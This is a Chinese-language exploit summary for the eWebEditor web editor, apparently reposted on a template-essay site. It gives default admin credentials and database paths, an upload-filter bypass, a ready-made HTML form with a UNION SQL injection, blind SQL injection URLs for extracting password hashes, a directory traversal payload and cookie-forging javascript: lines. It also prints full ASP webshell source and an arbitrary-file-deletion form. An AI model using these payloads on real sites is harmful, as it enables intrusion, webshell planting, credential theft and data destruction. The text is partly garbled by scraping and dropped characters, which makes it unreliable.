收藏本站 设为首页| 自媒体|好文目录 | 节日庆典 | 标签大全 | 最新文章

范文

个人简历 | 申请报告 | 辞职报告 自我介绍 | 开题报告 | 热门话题

学习

小学学习 | 初中学习 | 高中学习 教学方法 | 家庭教育 | 通用学习

试卷

高考试卷 | 中考试卷 | 语文试卷 数学试卷 | 物理试卷 | 历史试卷

作文

暑假作文 | 日记作文 | 小学作文 初中作文 | 高中作文 | 考试作文
述职报告 | 读书心得体会 | 实验报告 | 培训心得体会 | 运动会广播稿 | 自我评价 | 毕业论文 | 转正工作总结 | 入党积极分子思想汇报 | 学习计划 | 入党申请书 | 2017年公务员考试 
当前位置:优秀范文网 > 入党自传 > ewebeditor漏洞利用总结

入党自传

ewebeditor漏洞利用总结

2010-02-05 查阅次数:541次 发布人:admin

更多
624555> 文 章
来源 莲山 言小优秀范文网频道 w w
w.5 yxtVg.com k J.cOM

ewebeditor漏洞总结
     先从最的记录起!通常入侵ewebeditor编辑器的如下:
1、访问默认管理页看
        默认管理页地址2.80以前为 ewebeditor/admin_login.asp 以后版本为admin/login.asp (语言的大家改后缀,本文就以asp来说明,下面不再细说了!)
2、默认管理帐号密码!
        默认管理页就用帐号密码登陆!默认帐号密码为: admin admin888 !常用的密码还有admin admin999 admin1 admin000 之类的。
3、默认数据库地址。
        密码默认的。就访问是默认数据库!尝试下载数据库管理员密码!管理员的帐号密码,都在eWebEditor_System表段里,sys_UserName Sys_UserPass md5加密的。了加密密码。可以去www.cmd5.com www.xmd5.org 等网站查询!暴力这活好久不干了!也可以丢国外可以跑密码的网站去跑!
        默认数据库路径为: ewebeditor/db/ewebeditor.mdb 常用数据库路径为:ewebeditor/db/ewebeditor.asa ewebeditor/db/ewebeditor.asp ewebeditor/db/#ewebeditor.asa ewebeditor/db/#ewebeditor.mdb ewebeditor/db/!@#ewebeditor.asp ewebeditor/db/ewebeditor1033.mdb 等
        管理员常改.asp后缀,访问.asp .asa 后缀的 乱码!可以用下载工具下载下来,然后更改后缀为.mdb 来查看内容!
4、说说漏洞,还以asp为例!
        登陆后台以后。选择样式管理,默认编辑器的默认样式都不可以修改的。可以从任意样式新建样式,然后在图片上传添加可上传后缀。.asa .cer .cdx 等!.asp 过滤过了。可以用.asaspp 后缀来添加,上传文件正好被ewebeditor 吃掉asp后缀,剩下.asp 呵呵!代码不详细说了。总之是个很可笑的过滤!同样,遇到管理员有安全意识的,从代码里,把.asp .asa .cer .cdx 都完全禁止了,也可以用.asasaa 后缀来。添加完了后缀,可以在样式管理,点击预览,然后上传!
5、默认管理页不
        在入侵过程中,有默认的管理页不的时候。可以直接访问样式管理页面 ewebeditor/admin_style.asp 然后用第4步的拿webshell。样式管理页也不的话,可以看数据库内的样式表(ewebeditor_style)里面有先进去的朋友留下的样式。然后构造上传!url如下: eWebEditor/ewebeditor.asp?id=content&style=www 红色被修改添加了asa后缀的样式名,大家自行修改!
6、ewebeditor的几个版本注入!
        ewebeditor 以前版本都注入 ewebeditor/ewebeditor.asp?id=article_content&style=Full_v200 !
添加验证字符串,和管理员字段可以跑出管理员的md5加密密码!
       ewebeditor v2.1.6注入,可以用union select 添加上传后缀上传!先贴漏洞
--------------------------------------------------------------------------------------------------------------
<H3>ewebeditor asp版 2.1.6 上传漏洞程序----</H3><br><br>
<form action="http://www.xxx.com/ewebeditor/upload.asp?action=save&type=IMAGE&style=standard'union select S_ID,S_Name,S_Dir,S_CSS,S_UploadDir,S_Width,S_Height,S_Memo,S_IsSys,S_FileExt,S_FlashExt, [S_ImageExt]%2b'|cer',S_MediaExt,S_FileSize,S_FlashSize,S_ImageSize,S_MediaSize,S_StateFlag,S_DetectFromWord,S_InitMode,S_BaseUrl from ewebeditor_style where s_name='standard'and'a'='a" method=post name=myform enctype="multipart/form-data">
<input type=file name=uploadfile size=100><br><br>
<input type=submit value=Fuck>
</form>
--------------------------------------------------------------------------------------------------------------
        代码令存为html!修改红色的路径,然后自动上传 .cer 文件!漏洞原因是sStyleName变量直接从style中读取,并过滤,可以包含任意字符!用select在ewebeditor_style表中查找s_name为sStyleName的记录,找就提示出错!在sStyleName变量中用union来构造记录,可以在sAllowExt中加入"|cer"、"|asa"等!
        还有版本的ewebeditor的upload.asp文件注入漏洞!贴几个注入用的url!信息错误则返回脚本出错的提示,在浏览器左下角!如下:
ewebeditor/Upload.asp?type=FILE&style=standard_coolblue1'and%20(select%20top%201%20asc(mid(sys_userpass,15,1))%20from%20ewebeditor_system%20)>98%20and%20'1'='1
注意修改红色的字段名、位数、ascii码的值!
7、目录遍历漏洞!
        这里大概说一下!目录遍历漏洞于ewebeditor/admin_uploadfile.asp 高版本的是ewebeditor/admin/upload.asp 文件!文件不需要登陆验证,有些需要!有经验的管理员会把编辑器的目录设置为只读权限,不可修改!情况下,唯一可以的也遍历目录功能查看网站文件,比如数据库路径、后台地址、的上传地址、最直观的别人留下的小马等等!都自由了!说下漏洞方法!
        漏洞如下:在上传文件管理页面 随便选择上传样式!比如ewebeditor/admin_uploadfile.asp?id=14 在id后面添加&dir=../..
类似如下:webeditor/admin_uploadfile.asp?id=14&dir=../../../../data/ 可以看到网站数据库的路径!
       遍历目录的漏洞文件是 ewebeditor/asp/browse.asp
漏洞代码为 :
Function GetList()
Dim s_List, s_Url
s_List = ""
Dim oFSO, oUploadFolder, oUploadFiles, oUploadFile, sFileName
'Response.Write sCurrDir
'On Error Resume Next
Set oFSO = Server.CreateObject("Scripting.FileSystemObject")
Set oUploadFolder = oFSO.GetFolder(Server.MapPath(sCurrDir))
'注意一下sCurrDir变量,值等下可以用到
If Err.Number>0 Then
s_List = ""
Exit Function
End If

If sDir <> "" Then
If InstrRev(sDir, "/") > 1 Then
s_Url= Left(sDir, InstrRev(sDir, "/") - 1)
Else
s_Url = ""
End If

s_List = s_List & "" & _
"" & _
".." & _
" " & _
""
End If
'Response.Write sDir&"!"&s_List

Dim oSubFolder
For Each oSubFolder In oUploadFolder.SubFolders
'Response.Write oUploadFolder.SubFolders
If sDir = "" Then
s_Url = oSubFolder.Name
Else
s_Url = sDir & "/" & oSubFolder.Name
End If
s_List = s_List & "" & _
"" & _
"" & oSubFolder.Name & "" & _
" " & _
""
Next
'Response.Write s_List

Set oUploadFiles = oUploadFolder.Files

For Each oUploadFile In oUploadFiles
'Response.Write oUploadFile.Name
sFileName = oUploadFile.Name
If CheckValidExt(sFileName) = True Then
'这行让人有点郁闷,检测了所有允许的文件后缀,如不允许就无法列出,不然就不只列出目录名和图片文件了
If sDir = "" Then
s_Url = sContentPath & sFileName
Else
s_Url = sContentPath & sDir & "/" & sFileName
End If

s_List = s_List & "" & _
"" & FileName2Pic(sFileName) & "" & _
"" & sFileName & "" & _
"" & GetSizeUnit(oUploadFile.size) & "" & _
""
End If
Next
Set oUploadFolder = Nothing
Set oUploadFiles = Nothing
'Response.Write Server.HTMLEncode(s_List)&"!"&s_Url

If sDir = "" Then
s_Url = ""
's_Url = "/"
Else
s_Url = "/" & sDir & ""
's_Url = "/" & sDir & "/"
End If

s_List = s_List & ""
s_List = HTML2JS(s_List)
'Response.Write Server.HTMLEncode(s_List)&"!"&s_Url
s_List = "parent.setDirList(""" & s_List & """, """ & s_Url & """)"
GetList = s_List
End Function
'下面这步检测的话,应该就可以列出目录中所文件了,有点郁闷..现在只能列出允许后缀的文件和目录名
Function CheckValidExt(s_FileName)
If sAllowExt = "" Then
CheckValidExt = True
Exit Function
End If

Dim i, aExt, sExt
sExt = LCase(Mid(s_FileName, InStrRev(s_FileName, ".") + 1))
CheckValidExt = False
aExt = Split(LCase(sAllowExt), "|")
For i = 0 To UBound(aExt)
If aExt(i) = sExt Then
CheckValidExt = True
Exit Function
End If
Next
End Function
'顺着代码往下找,sCurrDir的值是下面的值
Sub InitParam()
sType = UCase(Trim(Request.QueryString("type")))
sStyleName = Trim(Request.QueryString("style"))

Dim i, aStyleConfig, bValidStyle
bValidStyle = False
For i = 1 To Ubound(aStyle)
aStyleConfig = Split(aStyle(i), "|||")
If Lcase(sStyleName) = Lcase(aStyleConfig(0)) Then
bValidStyle = True
Exit For
End If
Next

If bValidStyle = False Then
OutScript("alert('Invalid Style.')")
End If

sBaseUrl = aStyleConfig(19)
'nAllowBrowse = CLng(aStyleConfig(43))
nAllowBrowse = 1

If nAllowBrowse <> 1 Then
OutScript("alert('Do not allow browse!')")
End If

sUploadDir = aStyleConfig(3)
If Left(sUploadDir, 1) <> "/" Then
Select Case sType
Case "REMOTE"
sUploadDir = "../../" & sUploadDir & "Image/"
Case "FILE"
sUploadDir = "../../" & sUploadDir & "Other/"
Case "MEDIA"
sUploadDir = "../../" & sUploadDir & "Media/"
Case "FLASH"
sUploadDir = "../../" & sUploadDir & "Flash/"
Case Else
sUploadDir = "../../" & sUploadDir & "Image/"
End Select
End If
'sUploadDir =sUploadDir &"/"

Select Case sBaseUrl
Case "0"
'sContentPath = aStyleConfig(23)
Select Case sType
Case "REMOTE"
sContentPath = "../" & aStyleConfig(3) & "Image/"
Case "FILE"
sContentPath = "../" & aStyleConfig(3) & "Other/"
Case "MEDIA"
sContentPath = "../" & aStyleConfig(3) & "Media/"
Case "FLASH"
sContentPath = "../" & aStyleConfig(3) & "Flash/"
Case Else
sContentPath = "../" & aStyleConfig(3) & "Image/"
End Select
Case "1"
sContentPath = RelativePath2RootPath(sUploadDir)
Case "2"
sContentPath = RootPath2DomainPath(RelativePath2RootPath(sUploadDir))
End Select

Select Case sType
Case "REMOTE"
sAllowExt = aStyleConfig(10)
Case "FILE"
sAllowExt = aStyleConfig(6)
Case "MEDIA"
sAllowExt = aStyleConfig(9)
Case "FLASH"
sAllowExt = aStyleConfig(7)
Case Else
sAllowExt = aStyleConfig(8)
End Select

sCurrDir = sUploadDir '注意这里,了配置的路径地址
sDir = Trim(Request("dir")) 'dir变量
sDir = Replace(sDir, "", "/") '对dir变量过滤
sDir = Replace(sDir, "../", "")
sDir = Replace(sDir, "./", "")
If sDir <> "" Then
If CheckValidDir(Server.Mappath(sUploadDir & sDir)) = True Then
sCurrDir = sUploadDir & sDir & "/"
'里了,看到,当sUploadDir & sDir的时候,sCurrDir就为sUploadDir & sDir的值了
'上面对sDir了过滤,不过完全可以跳过.下面的中给出
Else
sDir = ""
End If
End If
End Sub
如下:
http://site/ewebeditor/asp/browse.asp?style=standard650&dir=…././/…././/admin
子就可以看到admin的内容了。构造特殊的dir绕过上面的验证!页面空白的时候查看源代码,就可以看到目录列表了!
8、session欺骗漏洞!
        适用于设置不当的虚拟主机。当旁注webshell,而ewebeditor却找到密码的时候可以尝试欺骗后台!顺序如下:
          新建.asp文件,内容如下: <%Session("eWebEditor_User") = "123132323"%> 然后访问文件,再访问ewebeditor/admin_default.asp !欺骗后台!不过很老了!
9、 后台跳过认证漏洞!
        访问后台登陆页面!随便输入帐号密码,返回错误!然后清空浏览器,在地址栏输入
javascript:alert(document.cookie="adminuser="+escape("admin"));
javascript:alert(document.cookie="adminpass="+escape("admin"));
javascript:alert(document.cookie="admindj="+escape("1"));
         然后再清空地址栏,在路径里输入后台登陆后的页面,比如: admin_default.asp admin/default.asp 等。直接后台,见上文!
10、远程上传功能!
        比如s_full样式就功能,打开编辑页面,然后图片,选择输入url 比如:http://site.com/1.gif.asp ! 然后选择上传远程文件!自动就把1.gif.asp 保上传目录内!注:网上的东西大传来传去,办法愚弄还成!文件的确显示后缀为.asp 访问,收集的时候自动截止在1.gif了后面的.asp等于!而且gif的内容url的路径!呵呵,后来又看到!是远程搜集的时候,文件的代码生成的小马!
        代码如下:
1.gif.asp 代码如下
<%
Set fs = CreateObject("Scripting.FileSystemObject")
Set MyTextStream=fs.OpenTextFile(server.MapPath("akteam.asp"),1,false,0)
Thetext=MyTextStream.ReadAll
response.write thetext
%>
的1.gif.asp的同目录下akteam.asp文件,内容的小马:
<%on error resume next%>
<%ofso="scripting.filesystemobject"%>
<%set fso=server.createobject(ofso)%>
<%path=request("path")%>
<%if path<>"" then%>
<%data=request("dama")%>
<%set dama=fso.createtextfile(path,true)%>
<%dama.write data%>
<%if err=0 then%>
<%="success"%>
<%else%>
<%="false"%>
<%end if%>
<%err.clear%>
<%end if%>
<%dama.close%>
<%set dama=nothing%>
<%set fos=nothing%>
<%="<form action='' method=post>"%>
<%="<input type=text name=path>"%>
<%="<br>"%>
<%=server.mappath(request.servervariables("script_name"))%>
<%="<br>"%>
<%=""%>
<%="<textarea name=dama cols=50 rows=10 width=30></textarea>"%>
<%="<br>"%>
<%="<input type=submit value=save>"%>
<%="</form>"%>
上面说的远程上传的!可以webshell!率取决于,虚拟主机的安全设置!
11、任意文件删除漏洞!
        此漏洞于ExampleNewsSystem目录下的delete.asp文件中,这是ewebeditor的测试页面,无须登陆可以直接!看代码
' 把带"|"的字符串转为数组
Dim aSavePathFileName
aSavePathFileName = Split(sSavePathFileName, "|")
' 删除新闻的文件,从文件夹中
Dim i
For i = 0 To UBound(aSavePathFileName)
' 按路径文件名删除文件
Call DoDelFile(aSavePathFileName(i))
Next
而aSavePathFileName是前面从数据库取的:
sSavePathFileName = oRs("D_SavePathFileName")
看看D_SavePathFileName是怎么添加到数据库里的,在addsave.asp(modifysave.asp)里:sSavePathFileName = GetSafeStr(Request.Form("d_savepathfilename"))
...
oRs("D_SavePathFileName") = sSavePathFileName

居然过滤了,是GetSafeStr函数,再看看函数,在Startup.asp里:
Function GetSafeStr(str)
GetSafeStr = Replace(Replace(Replace(Trim(str), "'", ""), Chr(34), ""), ";", "")
End Function
        既然路径过滤,那就可以直接定义了,构造提交页面,d_savepathfilename任意赋值(要删除多个文件,用|隔开即可)。试试../../eWebEditor.asp,提交后删除该新闻,于是主目录下的eWebEditor.asp不见了!漏洞:
<HTML><HEAD><TITLE>eWebEditor删除文件 byldjun(>
新闻列表%20|%20新闻
新闻
http://127.0.0.1/editor/Example/NewsSystem/addsave.asp"
method="post" name="myform">
    <input type=hidden name=d_originalfilename>
    <input type=hidden name=d_savefilename>
    <table cellspacing=3 align=center>
<tr><td>要删的文件(路径就可以了):</td>
<td><input type="text" name="d_savepathfilename" value="" size="90"></td>
</tr>
<tr><td>新闻标题(随便填):</td>
<td><input type="text" name="d_title" value="" size="90"></td>
</tr>
<tr><td>标题图片:</td>
<td><select name="d_picture" size=1><option value=''>无</option></select>
当编辑区有插入图片时,将自动填充此下拉框</td>
</tr>
<tr><td>新闻内容(随便填):</td>
<td><textarea name="d_content"></textarea></td>
</tr>
</table>
<input type=submit name=btnSubmit value=" 提 交 ">
<input type=reset name=btnReset value=" 重 填 ">
</form>
</BODyxtVg.com></HTML>
删除文件漏洞漏洞使用的,比如目录遍历
<a href='list.asp'>中的list.asp地址要修改
<a href='add.asp'>中的add.asp地址要修改
<form action="http://127.0.0.1/editor/Example/NewsSystem/addsave.asp"
(http://127.0.0.1/editor/Example/NewsSystem/addsave.asp地址要修改)
        简单
<form action="http://www.xxxbing.com/editor/example/newssystem/addsave.asp" method="post">
<input type=hidden name=d_originalfilename value="x">
<input type=hidden name=d_savefilename value="x">
要删除的文件(路径,多个文件用“|”隔开)<br>
<input type=text name=d_savepathfilename>
<input type=hidden name="d_title" value="x">
<input type=hidden name="d_picture" value="x">
<textarea name="d_content">x</textarea>
<input type=submit name=btnSubmit value="submit">
</form>

然后返回的新闻ID再提交:http://www.XXXXX.com/editor/example/newssystem/delete.asp?id=[id]
        有几个版本的ewebeditor 上传类型是在 security.asp 文件控制的!直接删除该文件可传任意webshell!
12、!
        说点呢!的办法本人经验和网上搜集!暂时就想到了,以后想到了再补全!说说aspx php jsp版本的吧!
ASPX版:
文件:eWebEditorNet/upload.aspx
方法:添好本地的cer的Shell文件。在浏览器地址栏输入javascript:lbtnUpload.click();就能shell。嘿嘿....绕过了限制......的上传了ASPX文件....文件默认的上传后保存的地址是eWebEditorNet/UploadFile/现在来看看上传.....
PHP版本:PhP版本和asp版本类似!不过php权限较高,不多废话了!
jsp版本:网上有jsp的版本,对上传文件类型检测!需要注意的是jsp版本的上传按钮!直接选择文件,回车就可以提交了!
 

文 章
来源 莲山 言小优秀范文网频道 w w
w.5 yxtVg.com k J.cOM
  • 【上一篇】
  • 【下一篇】